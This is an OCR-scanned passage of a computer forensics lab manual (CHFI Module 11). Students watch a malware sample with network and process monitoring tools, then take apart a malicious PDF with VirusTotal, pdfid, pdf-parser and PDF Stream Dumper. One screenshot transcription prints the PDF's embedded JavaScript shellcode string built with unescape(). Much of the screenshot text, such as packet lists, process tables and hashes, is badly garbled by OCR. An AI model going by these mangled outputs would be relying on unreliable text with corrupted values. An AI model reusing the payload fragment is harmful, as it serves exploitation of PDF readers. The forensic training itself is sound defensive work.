KLMASYSTEMA\WPANBDEC@AF1-8341 -4b93 -B5CD-72686C2DF94C-7P-13
KLMASYSTEMA\WPANSDECOAF1-8341-4b93-85CD-72606C2DF94C-7P-14
KU\S5-1-5-21-1297639565-15883085015-3262420064 - 1801\ S0FTWARE\Microsoft\Windows\CurrentVe
KU\5-1-5-21-129/7639565-1588305015-3262420064 -1001\50F TWARE\Microsoft\Windows\CurrentVei
KUyS5-1-5-21-1297639565-15883085815-32624200864 -1881\SOFTWARE\Microsoft\Windows\CurrentVe:

FIGURE 212 E!-::amjmng the ourput of Rﬂgshnl:

27. Switch to Wireshark GUI, Wireshark pmvides the informaton about
the connections malware tried to make as well as the data pﬂCkEtS it
tried to send or receive as shown in the screenshot:

Bdit  WView (o Caplure  Analyre  Salstics  Telephony  Weeless  Tools  Help
m o E ERE Q=TT LEIE AQQT
| 2ocly & cisglay fiter .., <0/ £ - | Expresson
Time SoLroe Destination Frotocsd  Length Info
13 115.923164 192, 168.56,1 192 168,56, 255 BROWSER 258 Domain/Horkgroun dnncuncement RORKGROR, NT Warkstation, Domai.
14 283, 896028 192, 168.56, 181 192.168.56, 188 DHCP 357 DHCP Request - Transaction Il @wxlf3dabda
15 2035, @96624 192, 168,56, 184 255.255.255.255 DHCP S08 PHCP &CK - Transaction ID ex1f3Labdd
16 283, 119418 fe=f; 0027 ;7450855 FF82::16 TCMPvE 08 Multicast Listener Report Hessape vl
17 283,119334 192 .168.56, 181 224 .8.8.22 TPy 3 54 Mesbership Report [ Lesve group 224.8.8.252
18 283, 158554 fef@: - 0927 7458 455 118216 TCMPvE 08 Multicast Listemer Repart MHessage w2
19 283, 158785 192 . 168,56, 181 224, @.8.22 TPy 3 54 Mesbership Report £ Join group 224.9.8.252 for any sources
28 283, 162757 Ted@: s 9927 7458: 455 1182::16 TCMPvE 99 Multicast Listener Repart Hessapge wi
21 283, 162938 192 . 168.56, 181 224 @.8.22 TPy 3 34 Mesbership Report / Leave group 224,0.9,252
22 283,163157 fel@: - 0927 74582255 ffa2::16 TCHPYE 09 Multicast Listener Report Hessage wi
23 283,163333 192 . 168.56, 181 224 8.8.22 TPy 3 54 Mesbership Report f Jodn group 224.8.8.352 far ANy SouUrCes
24 203, 176544 fel@: = 0927 : 74502455 ffag::1:3 LLMNR 9% Standard query @xSTCE ANY DESKTOR-LIDLMGES

15 @3, 176586 192 . 168.56. 11 134 88,152 LLMHA 75 Standard query @x57C3 ANY DESKTOR-LIDUMGES

26 @3 . 497628 192.168.56. 11 2348822 TGPP3 54 Mesbership Repert / Jobn group 124.8.8.152 for any sources
27 183, 497756 feBa: 0927 : 7450: 255 T2 16 TCHPVE pa Multicast Listener Report Hessage vi

18 2@3.5%1887 feBa: 0927 :7458: 255 Tfaz::1:3 LLMNA 95 Standard quary @x57c3 ANY DESKTOR -LIDLMGES

25 283 . 552865 192 _158.56. 181 214 8.8.352 LLMNA 75 Standard quary @x57c3 ANY DESKTOR -LIDLMGES

3@ 287957 IE@ CadmusCo_g5:27F 1ad CadmusCo_g8:fT:5f ARF 42 Who has 191.168.56.1887F Tell 192_168.55.181

Frame 1! 157 bytes on wire [12356 bits), 157 bytes captured (1356 bits) on interface @

Ethernet II, Src: Ba:Ba:27:Bd:aa (Bazed 7B :880a), Ost: IPvBmcast_@1:8@:82 (33:33:80:181:88:82)
Internet Protocol YVersion &, Src: feB8::9%8d:Zbal;e?B? =469, Ost: ffa2::1:2

User Datagram Protocal, Src Port: 546 (S48}, Dst Port: 547 (547)

DM P

BRE
DRELED
225288
FELES
RERDER
TIEEL:
LERBES
22288
s 2R EEE
223288
E228ES
885883

FIGURE 2.13% E:-:amin.ing netwodk teafhic u.%ing Wireshask tonl
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Module 11 - Malware Forensics

28. Check the Process Monitor. The tool will prnvide details about all the
tunctions, processes, services and acuvities; the malware has started. It
will also prmfide informaton about the ﬂag:a it enabled and disabled.

ile Edit Evert Filter Towols Options Help

Time of Day  Frocsss Mame

225, 7355628 PM - conmm s Chndows SppPalch spppatch b ayemain adb SUCCESS Crmation Tms: 4222016 5:5040 PR Las...
26 7553704 PM - carss gon 132 B Csefie Chindowaippfatchhapppatch b4 ansimain sdb SUCCESS
$13-25 THEES52 PM W corss e Iz Basicindormaton File CAWIndows" System 10 awbrem SmiPre S E e SUCCESS Crmation Time: 71072015 3:58:30 AN Las...
225, 7955346 PM T came ans 132 BhCrestatia C N IRdow Shstem 1 awbem wamiprvss &xs Carhig MAME NOT FOUND Desrad Accsss. Geneds Aasd. Dispostion .
26 7550004 PM W cans gon 33 B OueryBascinfomation Fie g iy 3 owbem Wi Pre S E o SUCCESS Copation Time: 71008015 315830 AN Las.
$33-35. 75950194 PM 8- corss mue 132 i Rt Vnlus HELM VARE Miomesoft " Windows ' Curent Vo, SUCCESS Type: AEG_CWORD, Length: &, Dta:
225, 70356 PM t.rnrhuﬂm 50 HhOneaFis A WIndews System 30 aehem "\ WimiFre S E exn SUCCESS
25 BO0T062 P giwinicrsss s 620 8F Lead Inag - Siredowa Svatem 3 ebem \WimiPre SE o SUCTESS oo Ekaciet; (b Pl (D00 Imargr i
33-25 BDOTRA5 PM F.':''||p.1'r|:1'|=i=.=-:-= E20 Y. load Imags CAWndows Sysiem 12 nbdl.dil SUCCESS Image Bame: b HaTadeD000, Images Se: .
2 25.B003532 PM ann'l:rmm B20 = salaFils A Wndows " Prelel i WMIFRVSE EXE- 16230510 SUCCESS Dewired Accsss Gensnc Rasd, Dispostion .
326 BOOSAE0 PM  glfjwripress g 620 B CueryEAFig O Windowa \PrefelchWIMIPEVEE EXEER0SIT e SUCTESS
:33-35 B012081 PM Sjwmiprase mxe 620 S Cery StandardiniomationFlie  CUindows ' Prefelch  WIMIFRYSE EXE- 16280810 SUCCESS HlocationSze: 16,384, ErciOfFle: 14 235,
2:25. 6012203 PM i wmiprime xe 20 Sk ReedFis CAWindows Prelel i WMIFRVSE EXE- 16280510 SUCCESS Offest: O Langth: 14,225, Peodty: Mormal
25803604 PM  gljwiipness auk 620 aﬁndf-it CAWndowa ' Prefeich WWIMIPRVEE EXE 6220510 pd  SUCTESS Ofsat: 0 Lngih: 14,225, 10 Raga: Hon
+13-35 BIFSE00 PM S wmiprase s 620 A CozaFis CAWndows" Prefel v WMIPRVEE EXE- 18230510 SUCCESS
i7:25.3054512 FM ' Explover. EXE 2557 M FegDumndey HECL  Softyears Clamses SUCCESS Chosry: Mams
26, 5054349 MM Exploser EXE 26492 I Py iy HHECLUSoftwane' Clagse SUCCESS Gy Handla Tags, HarcbeTaga: (e
5735 5055051 PM d 2552 Y PegCuenyiey HEC L Softweare ' Classes SUCCESS Cseny: Handl=Tags, Hand=Tags: Dl
i7- 25 5055627 FM l 2552 B FegOpeantey HEC L Software Clamses T L5 D4 {SEADMCSD-E508-4F . HAME NOT FOUND Deseed Access: Fead
268055555 PM ) 2652 I RagpanHey HECRACLSIDAERADSCED- BSOS AFRE-EFF 17980029, NAME NOT FOUND Desimed Access: Read
:33-25.9070582 PM ] 2502 X Pegluenyiey HECW  Softweare Classes SUCCESS Casery: bame
i3 259070549 FM 2552 M Peguen ey HECL Softveare Clasnes SUCCESS Chueny: Handle Tags, HandlsTags: Dkl
P32 25 5071131 PM 2552 I Ry ey HHECLMSoftwane’ Clase SUCCESS Gy Handla Tage, HarckaTag: (b
+33-35.9071459 PM ] 2502 L PegDpanisy HEC L Softweare Clazses Dinecinne SUCCESS Desired Access: Fead
2592 [ PegCumn ey HECL s Softvars Clamsse Diecion SUCCESS Chumny: Blames

HGURE 2.14: Ourpur of Process Monitor

29. The Process Explorer displays details of all the process including the
ones the suspicious file ininated. Check for the unmarked processes that
do not have a company name.

W SINTERNIIS WAAWLEYST

le Options View Process Find  Users Help

H B =200BR R ad/[
oSS CPU  Private Byles
] W] wininit e ' 808 K
[= B eervices exe _ 23K
=1 [nz] svchost exe < 0. 4864 K : 580 Hogt Process for Windows 5.
1 ?.??EH p ]t m T I
Susp... 11848 K
Susp... A2 K :
i . 1672k 54 i
") svehost exe 3IBLK 7.2 Host Process for Windows 5.
“n-| swchost exa 1,960 K 740 Host Process for Windows 5...
=1 [z svehost exe 13176 K 14324 K 748 Host Process for Windows 5.
[W.]2udiodg.exe EREHS T0.356K_ 3416 |
=1 [nz] svchost exe 27140 K 41,628 K 732 Hod Process for Windows 5.
[mtaskhostw exe 5788 K 9.264 K 3000 Host Process for Windows T...
[ shost exe 3543 K 10676 K 1744 Shell Infrastnscture Host
W taskhostw exe 1820K 7.734K 1908
"nz| svchost exa TAMK 16 12K 820 Host Process for Windows 5.
Tnz] svehost exe | 25604 K 41.720K 876 Hogt Process for Windows 5.
"n-|svchost exa 8388 K 14628 K 336 Host Process for Windows 5.
it spoolsy e 4800 K 1564 K 1032 Spocler SubSystem App
Ewd‘nalm 13924 K 19712 K 1064 Host Process for Windows 5.
Tic| svchost exe 3152 K T112K 144 Host Process for Windows 5.
7| MsMpEng exe ! 125296 K 97.352 K 1524 Antimalware Service Bxecut ...
uc| MisSry exe 4384 K 3160 K 1248 Microsolt Network Realtime |...
é,f-ean:hlndﬁﬂ.em 16,392 K 14364 K 3435 Microgolt Windows Seanch |,
"n-| svchost exa 2056 K 4740 K 4048 Host Process for Windows 5.
Tuz|svchost exe 3332 K 14636 K 3772 Host Process for Windows 5.
[ lsass e 1852 K 9524 K 504 Local Securty Authorty Proc...
] B winlogon exe . 212K 2260 K
S orer e . 97236 K 2592 Windows Emplorer Microzoft Corporation

= L e P -1 "

FIGURE 2.1 E?Iu:pl.u: of Process E}:plnr:er
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Module 11 - Malware Forensics

30. The ApateDNS tool displays all the DNS requests from the malware. It
will show the IPv4 and IPv6 addresses of domains, the malware tried to

connect with.

¥ ApateDNS

apture Window  DNS Hex View

Domain HEL'-ILIEIM'U

100.56.168.192 in-addr.ampa
0.0.2.3.00220031.003.1.000.00.000cf.0.00.00eipbapa
0.0.28.300282003.1.0031.000.00.000cf.000.00eipbapa
0.0.8.30025.20031.0031.000.00.000cf.00.0.00eipbapa
3.0.0.0.1.0.0.0.0.00.0.0.00.0.0.0.0.0.0.0.00.00.00.2.04 fipG.apa
255.255.255.255 n-addr.ampa
0.0.0.0.0.0.6.1.0.0.0.0.0.0.1.0.0.0.0.0.0.0.0.0.1.0.0.0.0.04.7 ip6.arpa
ffff0e0049210285%d98eechb1.000.0.0f7ipbapa
255.56.168.192 in-addr.ampa
2.0.0.0.1.00.0.000.00.00.00.00.00.00000.0.0.20ffipbapa

j+] Using 127.@.e.1 as return DNS IF!
] oNS set to 127.e.8.1 on Intel(R) PRO/18@@ MT Desktop Adapter.
+] Sending valid ONS response of first request.
+] Server started at 11:41:41 successfully.
-] Already initiated...

DNS Reply IP (Default: Cument Gatway/DNS):  127.0.0.1
& of NXDOMAIN's:

Selected Interface: intel{R) PRO/1000 MT Desktop Adapter

FIGURE 2.1t OQurpur of Aparel 25

Lab Analysis
Document all the findings obtained during this lab.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

Internet Connection Required

1 Yes M No
Platform Supported
Classroom M iLabs
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=7 Valuable

information

& Test your
knowledge

E Web exercise

L) wotkbook seview

7 Tools
demonstrated in
this lab are
available in
C:\CHFI-
Tools\CHFIv9
Module 11
Malware
Forensics

Module 11 - Malware Forensics

Analyze Malicious PDF File

Portable Document Format (PDF) is a file format that supporis structured storage
and embeds graphics, images, strings, links, etc. These characteristics of the format
allow perpetrators to embed malicions strings and scripts with the document.

Lab Scenario

Attackers can hide malware in PDF files, and it starts executng the program
when users try to open the file. This type of malware can avert system and
network security easily and install malicious programs on the system.
Investgators need to run different scans on a suspicious PDI file to idenuty
the presence of malicious scripts and extract them to find their impact.

Lab Objectives

This lab will give you real-ume experience in identifying the malicious PDF files
and assessing their impact on the system and the network.

Lab Environment

To carry out this lab, you need:

* PDF scanning wols, such as PDI'd, peepdt and PDI Stream Dumper,
located at Z:\CHFIv9 Module 11 Malware Forensics.

= A computer rurming Windows Server 2012 Host machine or Oracle
Virtual Box.

= A Windows 10 virtual machine.,
* Python interpreter installed on the Windows 10 VM.
" A web browser with Internet access.

" Administranve privilegea to run the tools.

Lab Duration

Time: 25 Minutes

CHFI Lab Manual Page 436
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Module 11 - Malware Forensics

Overview of Analyzing Malicious PDF

PDFs are the most commonly shared files due to therr small size and platform
independence. Attackers use these PDI's to send hidden malicious scripts. An
investigator must be aware of the process of idenufying a malicious PDF file,

Lab Tasks

= TASK 1 1. In this lab, your primary task i1s to upload the suspicious PDF file to

Analyze Malicious online virus databases, such as www.virustotal.com and check if these

PDF databases contain signatures of virus in the file which you are going to
upload.

2. lLogin to Windows 10 machine, launch a web browser and browse
https: / /www.virustotal.com. VirusTotal homepage appears, click on
Choose File to upload the files.

|E| virustotal cam # ﬂ

& Caommunity Statlstics Documentation FAC Abgut = Englizh Jaln gur community Sagn In

o total

Virus lotal 1s & free sandica thal analyzes suspicious files and URLs and tacililates
the quick datection of viruses, worms, trojans, and all kKinds of mahwara

[ Filix @ LIEL Q Search

M fike ackacled Erh'dL"p Filz

Maximurn file size: 128MB

By dicking "Scan ill, you consenl o our Terms af Service and allew Virus Tolal 19

share this file with the secwity community . See our Privacy Palicy lor delails

Z Blog | 9 Twitler | 28 confaclifvinusiotal com | 4 Google groups | ® TaS | @ Privacy palicy

FIGURE 3.1: VirusTotal home page
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Module 11 - Malware Forensics

3. Open window appears, navigate to the location, Z:\Evidence Files, select
the suspicious file (infected.pdf) and click Open to upload the file.

» Evidence Files v Search Evidence Files

Organize MNew folder

s Quick acce:s = Name Date modified

Bl Desktop =] Word_Doc1l.docx 6/15/2016 11:32 PM  Office Ope...

o+
& Downloads # ] Word_Doc.docx 6/16/2016 %47 PM  Office Ope..
*

(B Unknown.exe 8/29/2000 1:52 AM  Application
& MultiplePages-Fixed... 5/10/20167:31 PM  PDF File
&/ MultiplePages.pdf 12/20/2010 1:24PM  PDF File

= DVDDrive :# =[5 Finfected.pdf 5/3/2016408AM  PDF File

Advanced PDF P = Confidential.pdf 6/17/2016 1:51 AM  PDF File
CHFI-Tools Rl

CHFvE Module

|“-'_::"| Documents

= Pictures o

Evidence Files
& OneDrive
i! This PC

gj' Metwork W

File name: infected. pdf All Files

Cpen |v

FIGURE 3.2: Navigating to the Evidence Files folder and selectung the suspicious file

4. Click the Sean it! button on the web page.

_ total

VirusTotal is a free service that analyzes suspicious files and URLs and facilitates
the quick detection of viruses, worms, trojans, and all kinds of malware.

[ File @ URL Q, Search

infected_pdf Choosze File
Maximum file size: 128MB

By clicking "Scan itl', you consent to our Terms of Service and allow VirusTotal to
share this file with the security community. See our Privacy Policy for details.

FIGURE 3.3: _"'in:aﬂn.iﬂg the 5u5pi|:inu5 file
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Module 11 - Malware Forensics

5. The website will scan the database for similar files and display the result
including the SHA256 hash value of the file, Detection ratio as well as
the antvirus programs that idenuty the tile as suspicious,

total

SHAZSG IGTHATHE IS8 3MET 2bd a0 0 Ted 08T 184 20946 ThE 1 dabedd91 (4817661 Td

File name: infected pdf

Detection ratio: 32/ 56

Analysis date: A006-05-02 064741 UTC { 0 minutes ago )

M Analysis &}, File detail 6 Additional infermation & Comments l Wotes

Result Ul ate

PLF:Exploit. PDF-15_AIB 20160502
Luhe. Expleit POF.B 20160502
Exploit POF-Mame Gen 20160502
Exploit POF-Mame Gen 20160501

JS Pflca-AK [Expl] 20160502

FIGURE 3.4 .-’!.nal:;zing the resules after Enmplednﬂ of 5|:ar1r1iﬂg

6. The website also has an inbuilt version of the PDF scanning tool,
PDFiD. Click on the File detail tab to open further analysis details.

_“-.]

In this tab, the website displays PDID informaton, which specifies the
details of contents that make the file malicious.

& Fila detai & Additional information & Commenis L) Voles

The file being studied s a PDF document?! The document's header reveals i B using the Tollkowing file format specification %PDF-1.5

% PDFID information

# This PDF file containg 1{11{1) JavaScript block. Malicious PDF documenis oftan contain JavaScript to explod JavaScript wulnerabiliies andfar 1o exacula

gap spravs. Pleasa nola you can also nd JavaScnpl in PDFs withoul malicious inlant.

# This PDF file contains an open action b be performed when the documen is viewed. Malicious POF documents with JavaScripl very oflen use open aclions
o Bunch the JavaScripl wilthoul user inleraclion.

The combination of automalic actions and JavaScript makas this POF documeanl suspicious,
¥ Thi= POF document has 1(1) page, please note that mosi malicious POFs have only one page.
Thi=s POF docurment has 6 aobject start daclarations and & object end declarations.

¥ Thiz POF document has 1 stream object start declaration and 1 siream object end declaration.

This PDF document has a cross reference table (oref)
This POF docurment has a pomnler 1o the cross reference lable {startoret)
This POF docurment has a railer dicticnary containing entries allowing the cross references tabde, and s the Nile abjects, 1o be read.

o EXiTool file metadata

FIGURE 3.5: "'r"iewiﬂg the results from the File detail tab
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Module 11 - Malware Forensics

8. Click on the Additional information tab to view more details of the file.
This tab displays informanon such as MID5 hash value and the tags that
render the file as malicious.

M Analysis & File detail € Additional infarmation # Comments L) Voles

@ File identification

MD5 c37ae%aicdeefci1fefcefat0afas1id
SHA1 1d917b3bb3794064d5d8Mi917bd7 342dd84a343
SHA256 A67547115135B8c3M8T2bda0017Ted08T1842b046cTh61da5e4d91148176a617d

ssdeep 192-ZCt+rgfWPZEKZMyI2q2 234 BrCPjKa1hw/7kos5U19ce D ZCICgmW+4cCrCma1huTiwW19ceD

File size 6.6 KB { 6771 bytes )
File type FDF

Magic literal PDF document, version 1.5

TriD Adobe Portable Document Format (100.0%)

Togs oo oron] cvezomw 2002 L svtoncion [ rmoesas)

& VirusTotal metadata

First submission 2016-05-02 06:30:29 UTC { 356 minutes ago )
Last submission 2016-05-02 06:47:41 UTC { 19 minutes ago )

File names infecled. pdf

FIGURE 3.6 "k'ieu‘ing the results feom the Addidonal informaton tab

9. Invesngators need to analyze the structure of the suspicious PDE file to
check the headers, objects, scripts and end of the file. To view the
structure of a PDI tile, use the python based tool, PDFID, which
comes pre-installed with Kali Linux virtual machine.

10. So, login to Kali Linux machine, Launch a command line terminal and
type pdfid{Space}.

11. Now, navigate to the Home folder, click Other Locations in the left
pane.

12, Other Locations window appears, displaying the Machine Names of the
machines that are found on the nerwork.

13. Double-click the Windows machine Name associated with Windows
Server 2012 which contains CHFI-Tools, to connect to the machine. In
this lab, the Windows machine selected is win-v75vghtull.

Note:

a) The machine name might vary in your lab environment

b} If you are unable to tind the machines, click on Home and then,
click on Other Locations

14, All the drives associated with the machine appear. Z“{m--igate to
E:\Evidence Files.
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15. Now, keeping the window intact drag and drop infected.pdf file onto
the rerminal, and press Enter.

ile Edit View Search Terminal Help

g PG 3
vidence Fil

DFiD B.2.1
Files/1infe

[

a tlj
andobj
st ream
ondst ream
wrat
trailer
startxref
/Page
/Encrypt
/O0b1Stm
fJavaScript
FAA
/Openfction
JAcroForm
FJd LG22 lecode
‘RichM

oy = = = = = = O

s ars B o

edl s

FIGURE 3.7 Hunniﬂg i:11'E|::ELI.pLI1' file in Linux terminal usiﬂg_ pllﬂll

16. The tool will display the structure of PDI starting with the header

containing the version of PDIE used in making the file, contents of the
file, end of the file (EOL).

17. The tool will also display all the scripts present in a file including
malicious scripts such as JavaScript and OpenActon.

-

18. Now, we shall use Python-based pdt-parser tool to look at the elements
ot the PDF file.

19. Type pdfparser{Space} in the terminal, drag and drop infected.pdf
onto the terminal and press Enter. You can observe that the file
contains OpenActon script in it as shown 1n the screenshort:

ile Edit View Search Terminal Help

=~# pdf-parsar '/runfuser/0/gvfs/smb-share:server=win-v72bvghtull ,share=a/CHFI-T
nls/Evidence Files/infacted.pdf'
OF Comment '%PDF-1.5M\r\n'
OF Comment "S\xTFl\xcShxTa\xBBY\rin'
bl 3
' A0 R, 50 R

o

/Type /Catalog
J0utlines 2 O R
/Pages 3 0 R

tion 5 @ R

: /Outlines
Aeferencing:

FIGURE 3.8: Running infected.pdf file in Linux terminal using pdf-parser

CHFI Lab Manual Page 441 Computer Hacking Forensic Investigator Copyright [ bv EC-Council
All Rights Reserved. Reproduction 1s Strictly Prohibited.



Module 11 - Malware Forensics

20. Scroll down to see the object embedded with the javascript. Other
details include length and filter of the PDF file.

ile Edit View Search Terminal Help
/Type /Page

[vpe:
Referencing:
ontains stream

[ SHAEL AR T AREERA4#E5 cod#Bh S ASHAZHA0RAS

FIGURE 3.%: Viewing the object embedded with the javascript

21. To view the statistics of the file, type pdfparser --stats{Space}, drag
and drop infected.pdf onto the terminal and press Enter. This displays
the statistics of the file as shown in the screenshot:

ile Edit View Search Terminal Hel.p

.~# pdf-parser --stats '/run/user/0/gvfs/:
in-v/25vghtull ,share=e/CHFI -Tools/Evidence Files/infected.pc
omment: 3
REF: 1

railer: 1

tartXref: 1

ndirect object: 6
B

FARE3#/dio#6e 1: 5

/Ca#t7A#E1#6c#6Tg 1: 1

FO#7TS#7 41 #69

/Pa#b67e 1:

/Pag#b5#/3
.

FIGURE 3.10: Execuung a sample command

22. Invesugators need to assess the PDL file to view the JavaScript, low-
level PDE headers, objects, and shellcode present in it. Use the PDF
Stream Dumper to analyze the file.

23, Navigate to the locauon, ZNCHFIV® Module 11 Malware
Forensics\Malicious Document Analysis Tools\PDFStreamDumper and
double-click the PDFStreamDumper_Setup.exe file to install the tool.
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24. During 1nstallagon, you will be prompted to download and install AC3
Sorcerer Web Install applicaﬂﬂn. (Click No Thanks - Exit button
avold the applicaﬂﬂn installation,

25, Launch the tool from Desktop or System app menu. Click the Load
option from the toolbar and select Pdf File from the provided list.

Pdf File

Shellcode File
lavascript File

Rumn Plugin

FIGURE 3.11: I.aum:h.ing and lnading Pdf file into PIOF Steeam Dumpe: ol

26. Navigate to the suspicious file’s location Z:\Evidence Files, select
infected.pdf and click Open to upload the file to PDI" Stream Dumper.

Load PDF File

T™ « MNew Volu... » EBEwidence Files Search BEvidence Files

Organize « Mew folder

i Quick access Mame Date modified Type

| infected 4/28/2016 2:20 AM  PDF File
| MultiplePages 12/20/2010 1:24 PM  PDF File
[ This PC @ MultiplePages-Fixed 12/20/2010 1:24 PM  PDF File

i OneDrive

;ﬂ' M etwork

£

File name: All Files (%)

FIGURE 3.1 f"{avigal:ing tox the Evidence Files folder and mlecﬂng the suspicinus Pdf file
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27. PDF Stream Dumper analyzes the PDI file and displays its contents
such as objects, streams, encrypted or obfuscated elements, etc. Other
details include the HexDumps and stream details of the selected object,
as well as the internal contents with structure.

pad  Exploits_Scen  lecascript Ul Unescape_Selection  bsnuel_Escepes  Update_Cuwrent_Stresm  Gofo_Ohbject  Search_For  Find/Feplace Tools  Help_\Videos

Objmctn e

Ei E: /Typefcatalogfoutlines 2 0 RfPages 3 0 RfOpenfAction 5 0 R
BLan: Qx5 }}I
HLan: Ox3D
ELani: Ouda
CHIlZ-0x192R
HLan: CxD7

Taxr |HexDump | Stream Details| |

Hessage
Farasing Cosplete Dbiects: 7 Elapsed Time: 0.0%3 aeconds

CxDl bytes afcer end of last chject B offset QOxl5EC
Ck Filtaram not initilized. Zae Tools-rManual Filsars acd click o iText Filters & falze link

EI:\:-IH' Search Debug (2] 1

FDF Fath DyvEvidenee Fileshinfected. pdf

FIGURE 3.13% \-’iewing the contents of the suspicinus Pdf file

28. The tool displays objects in difterent colors depending on its contents.
To view the color specifications, click the Tools option from the toolbar
and select the option About Listview Colors.

pad  Exploits_Scen  levascript Ul Unescape Selection Manuel Esczpes  Update Curent_Stream  Goto_Ohject  Search_For  Find/Replace Help_Yideos
Objmctn I e Dy Brude Forcer
PRLALL PRSI STypefCatalogfoutlines 2 0 BfPages 3 0 BfOpendAction 5 0 I Zih Decompress _File

ELamn: Qw32
BLan:- Ox3s - Ziln Compress_File

HLan: O30
ELan: OudE Ezsedd Decode Clipboand

UHElZ-THlIShR Exzefd Encode Chpboard

HLan: S5:x0% .
Easedd Decode File

Basedst Enoode File

Dhecoompile Flash vy A53 Sorcener
D carypress Flash (W5 Header)
[Decormpress Flesh (E¥ES Header)
Decrypt POF (Foroe)

Derwenlessd LRL
Marwal_Filbers
Filter Visualizer
Wiew POF in Hexeditor

M Heseditor 'i:}ﬁmw

Wiew Exploit Detections
Cpticns

Abgiut
fbout Listview Colom

FIGURE 3.14: Screenshor represen:ing the process to view the color speciﬂcadnn
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29. PDFStreamDumper dialog-box appears, displaying the color
specificaton. Click OK to close the dialog-box.

StreamDumper

I.-”’_ ““.I Red: Headers with Javascnpt tag
W Blue: Object Streams

Green: Headers with /Launch or f/Action or /OpenAction or /AA
Purple: Headers with /EmbeddedFiles

Orange: Unsupported Filters
Yellow: TTF Fonts
Pink: XML Data

FIGURE 3.15: Screenshot representung the color specification

30. View the objects one by one to find their contents.

31. Analysis of the fifth object reveals that it contains a JavaScript header
with the stream startung in the sixth object.

pad  Exploits_Scan  Javascript Ul Unescape_Selection  Manual_Escapes Update_Current_Streamn  Goto_Object  Search_For  Find/Replace  Teols
elp_Videos

7 Chiscts

cIE

HLen:
2 HLen:
HL=n:

Jx3d
dad s
Q3D

f Ox2i2=0x198RK

Qa7

[ TypefAction/S/JavasScript/Js 6 0 R

Text [He:ElumpE Stream De:ailal |

Maogsaga

Parsing Complete Objecta: 7 Zlapaed Tima: 0.0593 aeccnds
1x08 bytes after end of last chject € cffset OxlBaC
Cf Filvera not inivilized. See Teoocla-rManual Filvers and click on iTexr Filvers = false link

Er:n::l Search Debug (3) ]

:ZEBvidenose Filles‘\infeoted.pdf

FIGURE 3.16: Analyzing the fifth object
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Module 11 - Malware Forensics

32. To analyze the contents go to sixth stream by clicking on it from the left
side object menu.

pad  Exploits_Scen  lecascript Il Unescape_Selection  banuel_Escapes  Update_Curent_Stream  Goto_Object  Search_For  Find/Feplace  Tools  Help_Videos

Objmctn I

ELa&n: OME2
ELen: Qw33
HLan:= GxiZD

OHZ1lZ-0wlF3R

FDF Fath

war UhUIbxMLE Ty beELYCmeodsSvot Zd jbhZoNFTupMSzibledHiWalulDw — unescape ("%#u%9f5%
nd2fE%ufdf ¥En2 405331 fufe8tule I3 End 33TERIT IR 24 35uI84 TEn22 3T ud 9£8%ufofbiuiTdak
udEf5Euil2fEuff40%uded3Tiud 3985 u9b4eind 1435092 4atul 9983040 055u3iT46%uddfotudadftudbibs
nd393ud £ 552740 uded Biad e 93%uda® T dunde 2 £ a3 £ 0b%uf 54 08ud 83 T4n2 T 51 a2 TIfsud Sfodnd fibi
2 THudl désud £365udbEdind L4 9%uf 8T Eu2 £425u2 £92%ufoliffud 0defn 2 48593 E%udbEEsud £ E0E
nd2fofuidieiufBd2tufa385u3f3TEudl4dbind 293502 Tidiud 6 9biud f4bins3 fdbufc96tud 9963051 90%
nd6 485962 Tinda3TEudl 408ufelTiudf96Enfa 084 Tindbd 6ud TE5End £ 3 bn2 £9fkudafEiind 64 9%
uITYERFu2T2EEud3413uER 9]l 3 99brudbdatufad fiufa2 Tiu3dasufd93tndl 4]l fudbhifsiudl2fEud 291 %
nS24df5ufodTin3ffotnd3fdius396iudbdeinfS40%nd 8deiud3fodu2 FEEin%6 48 nd 39 f5ud 399502 747%
n3EI3TE96 9 3End6dBEud 3334 THu3 T Enf 33 fEufEd88u 22 datud Bd6EnEEd6 304 68ud 74254 33 %
uldatuddtdeiudiBi®8iudafditu3ifo0suib42udadetud 3fdiud 34 rEn984 T Eulfd85n30958ud Idetnd 890%
2 TE5%udb90End f96%udbd 25n3f08%ufofBEn3 32 T3 2 f0iud 24afu3993ind 84 fufdf 9udef 9nded £
ndGdE5ud 64 FEuEs325ud 94 95 udatifu FEdEud 82 £5u38465u 92 £5ud 04afu B2 THu3E3THu b i85 3d6%
ufsdéiuiTditundedfiundad 05u90958%udefotudb2 Tind TEofu973TE093408n4 93 v u%hdaku 922 T3 udedak
nf3TH I 1 End 842 8ufa3Tiafs09%ud 796522 9EEu2339Tiud 6 9l fufdd 1 Fnd6 3653 T3 ERud 22 FEu3Td6%
uaT3ITEudbe93Tu3dT47Eude3ffud 96T ud 1373 u3dfde6sudalifiuldesud 29 3udb 32 3ude33Fud8hesuiBa9%
ndZda¥uiTdeini2datufc?liadlfodbud T4 95l 9% ude d35ud 08 5ufd90indbdbin2 £2fsu2 FO05n2 £3 5%
nESETHu2 £ 6En a3 35ud 038 ud T8 ud 14T End 3l TEu3 34 95u 0 94abud84 DEnd TA35u I £4d0%u3TokufdE g
udfdeftudbfotuibdetuf8hiud0965ud899%ud MbiudedétudT405ud 196509392 5ud 19 3u2 93302 T46%
S0 fdiud2 4 8Ende EEEu3Tde a3 0fHus997En5]1 3fEnd 7905084 T ufcd 1 inded 75339 Tiudbo fius30dak
udldb%udldéEudR6Eudad?FudE 8 5ud FI2RuEEFIEuIEE55ulB465udadBEul T 305 udb3E5uf 32 F5uE 4GS
nSHE953%ud 89 fEudT43%ufefobu3f ol suifdeinde %8 n3T905ud T4250d4 0403ndf 3 Fude3TEu 9096309042 %
nfE 974 309bEnd2 41 En26 3£ nd TEE%udad 2End 33 FEnd 82 £5u 99 4abud 098 En 3342 bufad Tiufd3ifin2 fibE

AR AFR A PR AAGA TG T AR 3 aFAIRuA T A9 FnARAR TG I FFRSGOGFESGAIGF T Fadl 3ad @ FaRal TI T30S FARE

Taxr |HexDump | Stream Details| |

Hessage

Faraing Copplete Doijecta: 7 Elapsed Time: 0.053 seccnds
CxDl bytes afcer end of last chject B ofifset Oxl15EC
Ck Filtara not initilized. Zae Tools-rManual Fileters acd click zo iText Filters & false link

E::\:-ra:l Search DOebuag (23

DyvEvidence Fileshinfected, pdf

FIGURE 3.17: Analvzing the sixth stream

33. Scroll down to check for any readable strings from the Text of the
suspicious object. One can notice that it uses the util.printf() command
that can display the gathered system data.

oad  Exploits_Scan

Javascnpt Ul Unescape Selection  Bdanual Ezcapes  Update Current_Stream  Goto Ohject  Search For  Fnd/Replace Tools  Help Videos

ThiacEd

e [
